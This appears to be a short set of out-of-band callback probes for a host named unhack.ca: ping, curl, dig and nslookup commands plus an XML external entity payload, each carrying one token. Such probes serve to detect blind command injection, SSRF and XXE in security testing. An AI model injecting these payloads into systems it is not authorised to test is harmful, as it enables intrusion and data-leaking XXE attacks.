$ ping -c1 -p 00f9dd1d0e64b5a9f796a1b802e48700 unhack.ca
 

$ curl http://unhack.ca/p/f9dd1d0e64b5a9f796a1b802e487
 

$ dig f9dd1d0e64b5a9f796a1b802e487 @unhack.ca
 

$ dig f9dd1d0e64b5a9f796a1b802e487.ns.unhack.ca
 

C:\> nslookup f9dd1d0e64b5a9f796a1b802e487 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f9dd1d0e64b5a9f796a1b802e487">]>
    <foo>&xxe;</foo>